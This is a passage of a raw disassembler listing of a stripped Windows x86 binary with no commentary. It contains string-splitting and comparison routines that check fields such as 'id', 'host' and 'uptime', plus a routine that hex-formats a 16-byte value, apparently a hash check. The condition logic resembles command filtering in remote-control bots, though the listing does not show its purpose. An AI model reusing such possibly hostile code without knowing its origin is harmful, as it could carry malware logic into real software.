XREF: sub_401E0Bj arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 2000h call sub_436840 mov ecx, [esp+arg_2004] lea eax, [esp+arg_2008] push eax push ecx lea edx, [esp+8] push 2000h push edx nop call near ptr 77C3FF8Ah mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_401582 add esp, 2000h retn sub_412900 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412970 proc near ; CODE XREF: sub_401118j var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_412970 push eax mov al, [esp+0Ch+arg_0] mov large fs:0, esp sub esp, 30h test al, al push esi mov esi, ecx jz short loc_4129A7 xor al, al pop esi mov ecx, [esp+3Ch+var_C] mov large fs:0, ecx add esp, 3Ch retn 10h ; --------------------------------------------------------------------------- loc_4129A7: ; CODE XREF: sub_412970+21j lea ecx, [esp+40h+var_3C] call sub_401424 mov al, [esp+40h+arg_4] mov [esp+40h+var_4], 0 test al, al jz short loc_4129C8 mov eax, dword_4470F0 push eax jmp short loc_4129CF ; --------------------------------------------------------------------------- loc_4129C8: ; CODE XREF: sub_412970+4Ej mov ecx, dword_4470F8 push ecx loc_4129CF: ; CODE XREF: sub_412970+56j lea ecx, [esp+44h+var_3C] call sub_4015D7 push ebx lea ecx, [esp+44h+var_24] call sub_401424 mov edx, [esp+44h+arg_8] mov eax, [esp+44h+arg_C] push edx push eax lea ecx, [esp+4Ch+var_3C] mov byte ptr [esp+4Ch+var_4], 1 call sub_4017E4 push eax lea ecx, [esp+50h+var_24] push offset dword_443CDC push ecx call sub_40102D add esp, 14h lea ecx, [esp+44h+var_24] call sub_4014D3 push eax mov ecx, esi call sub_401582 lea ecx, [esp+44h+var_24] mov bl, al mov byte ptr [esp+44h+var_4], 0 call sub_401226 lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+44h+var_C] mov al, bl pop ebx pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_412970 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412AA0 proc near ; CODE XREF: sub_401848j arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = dword ptr 200Ch arg_200C = dword ptr 2010h arg_2010 = dword ptr 2014h arg_2014 = byte ptr 2018h mov eax, 2000h call sub_436840 mov ecx, [esp+arg_2010] lea eax, [esp+arg_2014] push eax push ecx lea edx, [esp+8] push 2000h push edx nop call near ptr 77C3FF8Ah mov eax, [esp+10h+arg_200C] mov edx, [esp+10h+arg_2008] add esp, 10h lea ecx, [esp+0] push eax mov eax, [esp+4+arg_2004] push ecx mov ecx, [esp+8+arg_2000] push edx push eax call sub_401118 add esp, 2000h retn sub_412AA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412B20 proc near ; CODE XREF: sub_401D0Cj push esi mov esi, ecx call sub_401FB9 mov eax, [esi+1Ch] inc eax mov [esi+1Ch], eax pop esi retn sub_412B20 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412B50 proc near ; CODE XREF: sub_401FB9j push esi mov esi, ecx xor al, al mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax nop call near ptr 71AB9639h mov ecx, offset word_448C8E mov dword ptr [esi+18h], 0FFFFFFFFh call sub_401537 pop esi retn sub_412B50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412B90 proc near ; CODE XREF: sub_401721j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_412B90 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_412BC0 proc near ; CODE XREF: sub_401B54j push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_40170D mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_401294 sub_412BC0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_412C10 proc near ; CODE XREF: sub_401F00j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_412C10 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 6 push 9 push 4Fh push 3 push 9 push 7 push 0Fh lea eax, [esp+48h+var_24] push 0Ch mov esi, ecx push eax call sub_4019B5 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017E4 add esi, 4 push eax push esi mov ecx, offset dword_447148 call sub_401591 sub_412C10 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_412CB0: ; CODE XREF: ___:loc_40100Aj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43994E push eax mov large fs:0, esp sub esp, 90h add ecx, 4 push ebp push esi mov esi, [esp+0A8h] lea ebp, [esi+7Eh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_412FD6 push ebx push edi push offset asc_443600 ; " " lea eax, [esp+44h] push 1 push eax mov ecx, esi call sub_4016AE push offset asc_443600 ; " " lea ecx, [esp+2Ch] push 2 push ecx mov ecx, esi mov dword ptr [esp+0B4h], 0 call sub_4016AE push offset asc_443600 ; " " lea edx, [esp+14h] push 3 push edx mov ecx, esi mov byte ptr [esp+0B4h], 1 call sub_4016AE push offset asc_443600 ; " " lea eax, [esp+74h] push 0 push eax mov ecx, esi mov byte ptr [esp+0B4h], 2 call sub_4016AE mov edi, eax lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 3 call sub_4013D9 lea ecx, [esp+28h] mov ebx, eax call sub_4013D9 lea ecx, [esp+40h] add ebx, eax call sub_4013D9 mov ecx, edi add ebx, eax call sub_4013D9 lea ecx, [esp+70h] lea edi, [ebx+eax+4] mov byte ptr [esp+0A8h], 2 call sub_401226 lea ecx, [esp+58h] push edi push ecx mov ecx, esi call sub_401E2E push offset asc_443600 ; " " lea edx, [esp+8Ch] push 4 push edx mov ecx, esi mov byte ptr [esp+0B4h], 4 call sub_4016AE lea ecx, [esp+70h] push 1 mov bl, 5 push ecx mov ecx, eax mov [esp+0B0h], bl call sub_401E2E push eax mov ecx, ebp mov byte ptr [esp+0ACh], 6 call sub_40200E lea ecx, [esp+70h] mov [esp+0A8h], bl call sub_401226 mov byte ptr [esp+0A8h], 4 lea ecx, [esp+88h] call sub_401226 lea edx, [esp+58h] mov ecx, esi push edx call sub_40200E push offset asc_443D30 ; "!=" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412E35 xor edi, edi loc_412E35: ; CODE XREF: ___:00412E31j push offset asc_443D2C ; "==" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412E4C mov edi, 1 loc_412E4C: ; CODE XREF: ___:00412E45j push offset asc_443D28 ; ">" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412E63 mov edi, 2 loc_412E63: ; CODE XREF: ___:00412E5Cj push offset asc_443D24 ; "<" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412E7A mov edi, 3 loc_412E7A: ; CODE XREF: ___:00412E73j push offset aId ; "id" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412ED4 test edi, edi jnz short loc_412EAA lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, offset word_44758A call sub_4012EE test eax, eax jz short loc_412ED4 jmp short loc_412EC7 ; --------------------------------------------------------------------------- loc_412EAA: ; CODE XREF: ___:00412E8Ej cmp edi, 1 jnz short loc_412ED4 lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, offset word_44758A call sub_4012EE test eax, eax jnz short loc_412ED4 loc_412EC7: ; CODE XREF: ___:00412EA8j push 0 push esi mov ecx, offset byte_4472A7 call sub_401A32 loc_412ED4: ; CODE XREF: ___:00412E8Aj ; ___:00412EA6j ... push offset aHost ; "host" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412F27 test edi, edi jnz short loc_412F08 lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, offset byte_4D60CD call sub_4013E3 test eax, eax jnz loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F08: ; CODE XREF: ___:00412EE8j cmp edi, 1 jnz short loc_412F89 lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, offset byte_4D60CD call sub_4013E3 test eax, eax jz short loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F27: ; CODE XREF: ___:00412EE4j push offset aUptime ; "uptime" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412F89 lea ecx, [esp+10h] call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 mov ebx, eax call sub_401654 test edi, edi jnz short loc_412F5D cmp eax, ebx jz short loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F5D: ; CODE XREF: ___:00412F55j cmp edi, 1 jnz short loc_412F68 cmp eax, ebx jnz short loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F68: ; CODE XREF: ___:00412F60j cmp edi, 2 jnz short loc_412F73 cmp eax, ebx jle short loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F73: ; CODE XREF: ___:00412F6Bj cmp edi, 3 jnz short loc_412F89 cmp eax, ebx jge short loc_412F89 loc_412F7C: ; CODE XREF: ___:00412F06j ; ___:00412F25j ... push 0 push esi mov ecx, offset byte_4472A7 call sub_401A32 loc_412F89: ; CODE XREF: ___:00412F00j ; ___:00412F0Bj ... lea ecx, [esp+58h] mov byte ptr [esp+0A8h], 2 call sub_401226 lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 1 call sub_401226 lea ecx, [esp+28h] mov byte ptr [esp+0A8h], 0 call sub_401226 lea ecx, [esp+40h] mov dword ptr [esp+0A8h], 0FFFFFFFFh call sub_401226 pop edi mov al, 1 pop ebx jmp short loc_412FD8 ; --------------------------------------------------------------------------- loc_412FD6: ; CODE XREF: ___:00412CE9j mov al, 1 loc_412FD8: ; CODE XREF: ___:00412FD4j mov ecx, [esp+98h] pop esi pop ebp mov large fs:0, ecx add esp, 9Ch retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4130E0 proc near ; CODE XREF: sub_401654j nop call near ptr 27D0802h mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx mov eax, edx add eax, ecx sar eax, 10h mov edx, eax shr edx, 1Fh add eax, edx retn sub_4130E0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_413120 proc near ; CODE XREF: sub_401FFAj var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_413120 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi mov esi, ecx push edi mov [esp+20h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+20h+var_4], 0 call sub_401749 lea edi, [esi+60h] lea eax, [esp+20h+var_12] push eax mov ecx, edi mov byte ptr [esp+24h+var_4], 1 call sub_401F05 sub_413120 endp ; --------------------------------------------------------------------------- lea ecx, [esp+0Fh] lea ebx, [esi+6Ch] push ecx mov ecx, ebx mov byte ptr [esp+20h], 2 call sub_401843 ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+1Ch], 3 mov dword ptr [esi], offset off_43E044 call sub_401924 mov ecx, ebx call sub_401C62 mov ecx, [esp+14h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4131F0 proc near ; CODE XREF: sub_401CF8j ___:00401E10j push esi mov esi, ecx call sub_401C8F sub_4131F0 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_413208 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_413208: ; CODE XREF: ___:004131FDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_413220 proc near ; CODE XREF: sub_401C8Fj var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_413220 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi mov dword ptr [esi], offset off_43E044 lea edi, [esi+60h] mov [esp+1Ch+var_4], 3 mov ecx, edi call sub_401924 lea ebx, [esi+6Ch] mov ecx, ebx call sub_401C62 mov ecx, ebx mov byte ptr [esp+1Ch+var_4], 2 call sub_4014B5 sub_413220 endp ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+18h], 1 call sub_4011B8 ; --------------------------------------------------------------------------- lea ecx, [esi+32h] mov byte ptr [esp+18h], 0 call sub_401023 lea ecx, [esi+4] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+10h] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4132E0 proc near ; CODE XREF: sub_4019F6j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4132E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 15h push 0Fh push 7 push 0Fh lea eax, [esp+58h+var_3C] push 0Ch mov esi, ecx push eax call sub_4019B5 add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017E4 lea ecx, [esi+32h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_4132E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Ch push 9 push 1 lea edx, [esp+2Ch] push 8 push edx call sub_4019B5 add esp, 18h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017E4 add esi, 4 push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4133D0 proc near ; CODE XREF: sub_401CD0j var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_4133D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0 call sub_4017E4 test eax, eax jz short loc_413477 lea ecx, [esp+18h+var_14] call sub_402252 add esi, 6Ch lea eax, [esp+18h+var_10] push eax mov ecx, esi call sub_4018F2 mov ecx, [eax] lea edx, [esp+18h+var_10] mov [esp+18h+var_14], ecx push edx mov ecx, esi call sub_40114A push eax lea ecx, [esp+1Ch+var_14] call sub_401339 test al, al jz short loc_413477 loc_413438: ; CODE XREF: sub_4133D0+A5j lea eax, [esp+18h+arg_0] lea ecx, [esp+18h+var_14] push eax call sub_40135C mov ecx, [eax] add ecx, 19h call sub_401B72 test eax, eax lea ecx, [esp+18h+var_14] jz short loc_41349C call sub_40118B lea ecx, [esp+18h+var_10] push ecx mov ecx, esi call sub_40114A push eax lea ecx, [esp+1Ch+var_14] call sub_401339 test al, al jnz short loc_413438 loc_413477: ; CODE XREF: sub_4133D0+2Ej ; sub_4133D0+66j lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 xor eax, eax pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 18h ; --------------------------------------------------------------------------- loc_41349C: ; CODE XREF: sub_4133D0+86j call sub_40135C mov esi, [eax] lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 18h sub_4133D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413510 proc near ; CODE XREF: sub_402112j var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_413510 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push ebp push esi push edi mov ebx, ecx lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0 call sub_4017E4 test eax, eax jz loc_4135E3 lea ecx, [esp+28h+var_18] call sub_401037 lea ebp, [ebx+60h] lea eax, [esp+28h+var_14] push eax mov ecx, ebp call sub_401983 mov ecx, [eax] lea edx, [esp+28h+var_14] mov [esp+28h+var_18], ecx push edx mov ecx, ebp call sub_402234 push eax lea ecx, [esp+2Ch+var_18] call sub_401AD7 test al, al jz short loc_4135E3 loc_41357F: ; CODE XREF: sub_413510+D1j lea ecx, [esp+28h+var_18] call sub_4011D1 mov edi, [eax] sub esp, 18h lea eax, [esp+40h+arg_0] mov ecx, esp mov [esp+40h+var_10], esp push eax call sub_4014C9 mov ecx, ebx call sub_401CD0 mov esi, eax test esi, esi jz short loc_4135AC mov edi, [esi] loc_4135AC: ; CODE XREF: sub_413510+98j lea ecx, [esp+28h+arg_0] push ecx mov ecx, edi call sub_401B72 test eax, eax jz short loc_41360B test esi, esi jnz short loc_41360B lea ecx, [esp+28h+var_18] call sub_4018B6 lea edx, [esp+28h+var_14] mov ecx, ebp push edx call sub_402234 push eax lea ecx, [esp+2Ch+var_18] call sub_401AD7 test al, al jnz short loc_41357F loc_4135E3: ; CODE XREF: sub_413510+31j ; sub_413510+6Dj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_401226 xor eax, eax loc_4135F6: ; CODE XREF: sub_413510+10Ej mov ecx, [esp+28h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_41360B: ; CODE XREF: sub_413510+AAj ; sub_413510+AEj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_401226 mov eax, edi jmp short loc_4135F6 sub_413510 endp ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_413670 proc near ; CODE XREF: sub_401F46j var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_413670 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 lea ecx, [esp+14h+arg_0] mov [esp+14h+var_4], 1 call sub_4017E4 test eax, eax jz short loc_413714 lea ecx, [esp+14h+var_14] call sub_401E1F lea eax, [esp+14h+var_10] lea ecx, [esp+14h+arg_18] push eax call sub_4012E9 mov ecx, [eax] lea edx, [esp+14h+var_10] mov [esp+14h+var_14], ecx push edx lea ecx, [esp+18h+arg_18] call sub_401D89 push eax lea ecx, [esp+18h+var_14] call sub_401D5C test al, al jz short loc_413714 loc_4136D6: ; CODE XREF: sub_413670+A2j lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_14] push eax call sub_401FA5 mov ecx, [eax] call sub_401B72 test eax, eax jz short loc_413746 lea ecx, [esp+14h+var_14] call sub_4020A4 lea ecx, [esp+14h+var_10] push ecx lea ecx, [esp+18h+arg_18] call sub_401D89 push eax lea ecx, [esp+18h+var_14] call sub_401D5C test al, al jnz short loc_4136D6 loc_413714: ; CODE XREF: sub_413670+2Bj ; sub_413670+64j lea ecx, [esp+14h+arg_0] mov byte ptr [esp+14h+var_4], 0 call sub_401226 lea ecx, [esp+14h+arg_18] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401578 ; --------------------------------------------------------------------------- xor eax, eax mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- loc_413746: ; CODE XREF: sub_413670+7Dj push esi lea ecx, [esp+18h+var_14] call sub_401FA5 mov esi, [eax] lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_401226 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401578 sub_413670 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4137E0 proc near ; CODE XREF: sub_4011DBj var_A4 = byte ptr -0A4h var_8C = byte ptr -8Ch var_74 = byte ptr -74h var_64 = byte ptr -64h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_4137E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 98h push esi xor esi, esi lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], esi call sub_4017E4 test eax, eax jz loc_413913 lea eax, [esp+0A8h+var_64] push eax call sub_401A55 add esp, 4 lea ecx, [esp+0A8h+var_A4] call sub_401424 push offset byte_446F60 lea ecx, [esp+0ACh+var_A4] mov byte ptr [esp+0ACh+var_4], 1 call sub_4015D7 lea ecx, [esp+0A8h+arg_0] call sub_4013D9 push eax lea ecx, [esp+0ACh+arg_0] call sub_4014D3 lea ecx, [esp+0ACh+var_64] push eax push ecx call sub_401C12 lea edx, [esp+0B4h+var_64] lea eax, [esp+0B4h+var_74] push edx push eax call sub_402158 add esp, 14h loc_41387B: ; CODE XREF: sub_4137E0+E8j lea ecx, [esp+0A8h+var_8C] call sub_401424 xor ecx, ecx lea edx, [esp+0A8h+var_8C] mov cl, [esp+esi+0A8h+var_74] mov byte ptr [esp+0A8h+var_4], 2 push ecx push offset a2_2x ; "%2.2X" push edx call sub_40102D add esp, 0Ch lea eax, [esp+0A8h+var_8C] lea ecx, [esp+0A8h+var_A4] push eax call sub_4016BD lea ecx, [esp+0A8h+var_8C] mov byte ptr [esp+0A8h+var_4], 1 call sub_401226 inc esi cmp esi, 10h jl short loc_41387B mov edx, [esp+0A8h+arg_18] lea ecx, [esp+0A8h+var_A4] push ecx lea ecx, [edx+15h] call sub_401B72 test eax, eax mov byte ptr [esp+0A8h+var_4], 0 lea ecx, [esp+0A8h+var_A4] jnz short loc_41390E call sub_401226 lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_41392C ; --------------------------------------------------------------------------- loc_41390E: ; CODE XREF: sub_4137E0+10Cj call sub_401226 loc_413913: ; CODE XREF: sub_4137E0+33j lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_401226 xor al, al loc_41392C: ; CODE XREF: sub_4137E0+12Cj mov ecx, [esp+0A8h+var_C] pop esi mov large fs:0, ecx add esp, 0A4h retn 1Ch sub_4137E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4139B0 proc near ; CODE XREF: sub_40191Fj var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_4139B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx sub esp, 18h lea eax, [esp+30h+arg_18] mov ecx, esp mov [esp+30h+var_14], esp push eax mov [esp+34h+var_4], 1 call sub_4014C9 mov ecx, esi call sub_402112 test eax, eax jz short loc_413A5E sub esp, 0Ch add eax, 54h mov ecx, esp mov [esp+24h+var_14], esp push eax call sub_40171C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+40h] mov ecx, esp mov [esp+40h+var_14], esp push edx mov [esp+44h+var_8], 2 call sub_4014C9 mov ecx, esi mov [esp+40h+var_8], 1 call sub_401F46 ; --------------------------------------------------------------------------- test eax, eax jz short loc_413A5E lea ecx, [esp+40h+var_24] mov byte ptr [esp+40h+var_2C], 0 call sub_401226 lea ecx, [esp+40h+var_C] mov [esp+40h+var_2C], 0FFFFFFFFh call sub_401226 mov al, 1 mov ecx, [esp+40h+var_34] mov large fs:0, ecx pop esi add esp, 14h retn 30h ; --------------------------------------------------------------------------- loc_413A5E: ; CODE XREF: sub_4139B0+3Fj ; sub_4139B0+79j lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_401226 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] xor al, al mov large fs:0, ecx pop esi add esp, 14h retn 30h sub_4139B0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_413AE0: ; CODE XREF: ___:00401393j push 0FFFFFFFFh push offset loc_439B08 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+18h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401861 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+4Ch], esp push edx mov dword ptr [esp+44h], 0 call sub_401861 mov ecx, esi mov dword ptr [esp+40h], 0FFFFFFFFh call sub_40191F mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413B70 proc near ; CODE XREF: sub_401181j var_3C = byte ptr -3Ch var_20 = byte ptr -20h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_18 = dword ptr 1Ch arg_1C = dword ptr 20h push 0FFFFFFFFh push offset SEH_413B70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp mov ebp, [esp+48h+arg_18] xor ebx, ebx cmp ebp, ebx mov [esp+48h+var_4], ebx jz loc_413CB9 lea ecx, [esp+48h+arg_0] call sub_4017E4 test eax, eax jz loc_413CB9 push esi push edi push offset asc_443C84 ; ":" lea eax, [esp+54h+var_3C] push ebx push eax lea ecx, [esp+5Ch+arg_0] xor esi, esi call sub_4016AE push offset byte_446F60 mov ecx, eax mov byte ptr [esp+54h+var_4], 1 call sub_4012EE lea ecx, [esp+50h+var_3C] mov edi, eax mov byte ptr [esp+50h+var_4], bl call sub_401226 cmp edi, ebx jz loc_413C93 add ebp, 54h loc_413BF0: ; CODE XREF: sub_413B70+11Dj push 15h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov dword ptr [esp+4Ch+var_3C], eax cmp eax, ebx mov byte ptr [esp+4Ch], 2 jz short loc_413C10 mov ecx, eax call sub_401F2D jmp short loc_413C12 ; --------------------------------------------------------------------------- loc_413C10: ; CODE XREF: sub_413B70+95j xor eax, eax loc_413C12: ; CODE XREF: sub_413B70+9Ej push offset asc_443C84 ; ":" lea ecx, [esp+50h+var_20] push esi push ecx lea ecx, [esp+58h+arg_4] mov [esp+58h], bl mov [esp+58h+arg_1C], eax call sub_4016AE mov ecx, [esp+4Ch+arg_1C] push eax mov byte ptr [esp+50h], 3 call sub_40200E lea ecx, [esp+4Ch+var_20] mov [esp+4Ch], bl call sub_401226 lea edx, [esp+4Ch+arg_1C] mov ecx, ebp push edx call sub_40147E ; --------------------------------------------------------------------------- inc esi push offset asc_443C84 ; ":" lea eax, [esp+54h+var_3C] push esi push eax lea ecx, [esp+5Ch+arg_0] call sub_4016AE push offset byte_446F60 